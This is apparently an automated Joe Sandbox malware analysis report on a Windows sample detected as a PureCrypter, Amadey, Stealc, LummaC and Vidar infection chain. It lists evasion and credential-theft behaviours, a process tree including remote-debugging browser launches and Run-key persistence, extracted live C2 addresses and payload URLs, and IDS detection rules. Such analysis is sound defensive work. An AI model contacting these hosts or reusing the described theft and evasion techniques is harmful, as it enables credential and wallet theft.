Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554565
MD5:	9ad1dc3f66828cd80dd118bd50ce909e
SHA1:	9f5e105cbb3c8b6cde813b03150a12bca2391560
SHA256:	39db6939e03c7cd0dc5d8dc9944c2b2c1720db9ae2749be170355021c072dd33
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2100 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9AD1DC3F66828CD80DD118BD50CE909E)

chrome.exe (PID: 5204 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2524,i,9816825700669326211,7744358468109525657,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2228,i,9693784177863830162,11049134398304697985,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 6556 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIJJEGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGHIJJEGDBF.exe (PID: 5944 cmdline: "C:\Users\user\DocumentsGHIJJEGDBF.exe" MD5: CA3B6AADC4A481E7078CD2D0ABD40C73)

skotes.exe (PID: 7812 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: CA3B6AADC4A481E7078CD2D0ABD40C73)

msedge.exe (PID: 8000 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7464 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7860 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6644 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 5276 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 1816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7440 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 6552 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6936 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: CA3B6AADC4A481E7078CD2D0ABD40C73)

skotes.exe (PID: 3556 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: CA3B6AADC4A481E7078CD2D0ABD40C73)

3cb3eea49a.exe (PID: 7144 cmdline: "C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe" MD5: 6963C46D550E4A55047DC1C8C490CE2C)

c41846ccfb.exe (PID: 828 cmdline: "C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe" MD5: 9AD1DC3F66828CD80DD118BD50CE909E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["300snails.sbs", "thicktoys.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs"], "Build id": "LOGS11--public"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.2800944495.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2761674781.0000000000671000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2232961583.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.3473161997.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2721838299.000000000034C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2799229558.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2721838299.0000000000281000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2100	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2100	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2100	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2100	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3cb3eea49a.exe PID: 7144	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3cb3eea49a.exe PID: 7144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.3cb3eea49a.exe.8d0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
22.2.DocumentsGHIJJEGDBF.exe.670000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.cc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.cc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.cc0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3556, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3cb3eea49a.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2100, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5204, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3556, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3cb3eea49a.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:35.721641+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49780	TCP
2024-11-12T17:08:14.106601+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.6	50080	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:13.037839+0100	2028371	3	Unknown Traffic	192.168.2.6	50138	104.21.0.123	443	TCP
2024-11-12T17:09:17.051341+0100	2028371	3	Unknown Traffic	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:18.702772+0100	2028371	3	Unknown Traffic	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:20.973433+0100	2028371	3	Unknown Traffic	192.168.2.6	50129	104.21.0.123	443	TCP
2024-11-12T17:09:23.259038+0100	2028371	3	Unknown Traffic	192.168.2.6	50130	104.21.0.123	443	TCP
2024-11-12T17:09:25.053976+0100	2028371	3	Unknown Traffic	192.168.2.6	50131	104.21.0.123	443	TCP
2024-11-12T17:09:28.595800+0100	2028371	3	Unknown Traffic	192.168.2.6	50133	104.21.0.123	443	TCP
2024-11-12T17:09:30.428782+0100	2028371	3	Unknown Traffic	192.168.2.6	50137	104.21.0.123	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:17.965048+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:20.189582+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:29.117791+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50133	104.21.0.123	443	TCP
2024-11-12T17:09:30.913071+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50137	104.21.0.123	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:17.965048+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:29.117791+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50133	104.21.0.123	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:20.189582+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:30.913071+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50137	104.21.0.123	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:17.759222+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50126	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:23.878360+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:23.872013+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:24.150712+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:25.239045+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:24.157599+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:24.118764+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50130	104.21.0.123	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:23.593602+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:09:26.800424+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50132	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:05.063021+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50121	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:16.846734+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50122	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:09:08.408565+0100	2803305	3	Unknown Traffic	192.168.2.6	50123	185.215.113.16	80	TCP
2024-11-12T17:09:18.676612+0100	2803305	3	Unknown Traffic	192.168.2.6	50127	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T17:07:25.836477+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:48.174753+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:51.580408+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:53.349080+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:54.547381+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:56.889114+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:57.459148+0100	2803304	3	Unknown Traffic	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:08:01.573692+0100	2803304	3	Unknown Traffic	192.168.2.6	50008	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpltHOMEDRIVE=C:HO	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php3x	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe6	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe6139	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpM	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php9	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php;(	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2800944495.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.3cb3eea49a.exe.8d0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["300snails.sbs", "thicktoys.sbs", "faintbl0w.sbs", "3xc1aimbl0w.sbs"], "Build id": "LOGS11--public"}
Source: file.exe.2100.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: faintbl0w.sbs
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: 300snails.sbs
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: 3xc1aimbl0w.sbs
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: thicktoys.sbs
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: Workgroup: -
